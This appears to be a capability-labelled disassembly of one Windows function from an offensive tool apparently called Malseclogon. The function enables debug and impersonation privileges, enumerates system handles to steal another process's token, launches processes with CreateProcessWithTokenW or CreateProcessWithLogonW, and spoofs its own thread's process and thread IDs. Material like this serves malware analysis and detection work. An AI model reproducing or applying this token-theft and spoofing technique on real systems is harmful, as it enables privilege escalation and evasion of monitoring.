Function at 0x1400014f0
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x10020]
mov eax, 0x10120
call fcn.140002650
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x10010], rax
xor esi, esi
mov r15d, ecx
mov edi, esi
mov qword [rsp + 0x68], rsi
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x68]
lea rdx, str.SeDebugPrivilege
call fcn.140001270
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rdx, qword gs:[0x30]
xorps xmm1, xmm1
mov r13d, eax
xorps xmm0, xmm0
xor eax, eax
mov qword [rdx + 0x40], r15
mov qword [rdx + 0x48], r13
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rbp - 0x60], xmm1
mov qword [rbp], rax
movups xmmword [rbp - 0x50], xmm1
mov qword [rsp + 0x70], rsi
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x70]
lea rdx, str.SeImpersonatePrivilege
call fcn.140001270
mov rcx, qword [rsp + 0x70]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001765
lea rax, str.Token
mov dword [rsp + 0x78], 0xc000a
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x80], rax
lea rcx, [rsp + 0x78]
mov ebx, 0x10000
call fcn.140001390
test eax, eax
jns 0x140001643
mov edx, eax
lea rcx, str.GetTypeIndexByName_failed_0x_08x_n
call fcn.140001010
lea ecx, [rsi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.ntdll.dll
mov qword [rsp + 0x10150], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov r14, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rsi, rax
lea ecx, [r9 + 0x10]
call r14
cmp eax, 0xc0000004
jne 0x1400016ba
nop
lea ecx, [rbx + rbx]
mov ebx, ecx
mov edx, ecx
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rsi, rax
lea ecx, [r9 + 0x10]
call r14
cmp eax, 0xc0000004
je 0x140001690
mov ecx, dword [rsi]
mov r14, qword [rsp + 0x10150]
test ecx, ecx
je 0x1400016fc
mov r9d, dword [rsp + 0x60]
lea rax, [rsi + 8]
mov r8d, ecx
movzx ecx, byte [rax + 4]
cmp ecx, r9d
jne 0x1400016f2
movzx ecx, word [rax]
cmp ecx, r15d
jne 0x1400016f2
movzx edx, word [rax + 6]
mov ecx, edi
inc edi
mov qword [rbp + rcx*8 + 0x10], rdx
add rax, 0x18
sub r8, 1
jne 0x1400016d4
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp edi, 1
jb 0x140001763
xor ecx, ecx
lea rsi, [rbp + 0x10]
mov ebx, ecx
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp - 0x78]
mov r9, r12
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ecx
mov rcx, qword [rsi]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x1400017b0
inc ebx
add rsi, 8
mov ecx, eax
cmp ebx, edi
jb 0x140001720
jmp 0x1400017b0
xor esi, esi
lea rax, [rbp - 0x78]
mov r9d, 2
mov qword [rsp + 0x50], rax
lea r8, str.MalseclogonPwd
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rdx, str.MalseclogonDomain
mov qword [rsp + 0x40], rsi
lea rcx, str.MalseclogonUser
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov rcx, qword gs:[0x30]
mov eax, dword [rsp + 0x68]
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x48], r13
mov rcx, qword [rbp + 0x10010]
xor rcx, rsp
call fcn.140001970
lea r11, [rsp + 0x10120]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret